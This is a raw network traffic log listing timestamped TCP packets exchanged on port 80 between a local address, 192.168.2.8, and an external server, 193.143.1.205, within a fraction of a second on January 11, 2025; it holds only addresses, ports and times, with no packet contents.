Jan 11, 2025 04:34:49.780857086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780893087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780927896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780961990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.780992985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781017065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781052113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781053066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781088114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781121969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781141996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781157970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781157970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781193972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781271935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781387091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781424046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781476021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781544924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781596899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781631947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781666994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781702042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781728983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781737089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.781764984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.781801939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782016993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782052040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782085896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782119989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782154083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782185078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782185078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782187939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782226086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782247066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782260895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782299042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782423019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782526016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782560110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782594919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782628059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782663107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782696009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782716036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.782767057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782767057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782767057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.782767057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783088923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783119917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783154964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783169985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783190966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783224106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783247948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783257961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783293962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783339024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783349037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783384085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783418894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783452034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783468008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783468008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783487082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783520937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783554077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783586979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783611059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783612013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783875942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783911943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783946991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.783974886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.783999920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.784034014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.784051895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.784070015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.784106016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.784224033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.784224033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786051035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786119938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786154985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786190033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786211967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786283970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786288023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786324024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786358118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786364079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786392927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786472082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786535978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786570072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786604881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786633968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786638975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786673069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786681890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786747932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786760092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786797047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786802053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786833048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786849976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.786869049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786936045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786981106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.786999941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.787045002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.815252066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.815319061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.815336943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.815371037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.815407038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.815449953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.815495014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.815509081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.815521002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.815573931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.835542917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835622072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.835663080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835699081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835735083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835758924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.835791111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835827112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835839033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.835861921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835930109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.835944891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.835979939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836014032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836025953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.836215973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836251020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836285114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.836285114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836319923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836354971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836427927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.836427927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.836541891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836576939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836612940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836661100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836673021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836693048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.836693048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.836708069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.836838961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.843342066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.870182991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.870835066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.870876074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.870904922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.870939016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.870954990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.870973110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871006966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871016979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871047020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871052980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871088982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871141911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871170998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871206045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871273041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871344090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871380091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871412992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871447086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871480942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871515036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871571064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871571064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871571064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871706009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871738911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871772051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871779919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871809006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871840954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871865988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.871876955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.871920109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.872066975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872100115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872133970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872167110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872174978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.872266054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.872426033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872459888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872493029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872508049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.872526884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872560024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872565985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.872595072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872628927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872663021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872674942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.872697115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872714996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.872730017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872766972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.872813940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873156071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873189926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873223066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873260021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873292923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873326063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873358011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873387098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873419046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873420000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873420000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873420954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873420000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873456955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873480082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873490095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873523951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873537064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873557091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873590946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873624086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873657942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.873709917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.873709917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874038935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874074936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874089956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874109030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874140978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874160051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874176025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874208927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874224901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874242067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874279976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874303102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874309063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874351025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874664068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874697924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874731064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874763966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874780893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874799967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874829054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874834061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874875069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874908924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874924898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.874942064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.874975920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875010014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875011921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875011921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875044107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875077963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875109911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875109911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875147104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875180960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875454903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875505924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875510931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875540972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875574112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875606060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875639915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875673056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875706911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875739098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875739098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875739098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.875740051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.875790119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.905771017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.905813932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.905826092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.905847073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.905858040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.905872107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.905900002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.905940056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.905946970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.905987978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.906001091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.906064987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926012993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926099062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926220894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926234961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926246881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926259041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926296949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926296949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926307917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926321030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926373005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926450968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926462889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926539898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926542044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926554918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926568985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926579952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926592112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926600933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926856041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926889896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926903963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926928997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.926950932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.926976919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.927054882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.927067041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.927079916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.927089930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.927102089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.927171946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.927171946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.961638927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.961801052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.961833954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.961855888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.961918116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:34:49.961919069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.961956024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 04:34:49.961991072 CET	80	49705	193.143.1.205	192.168.2.8
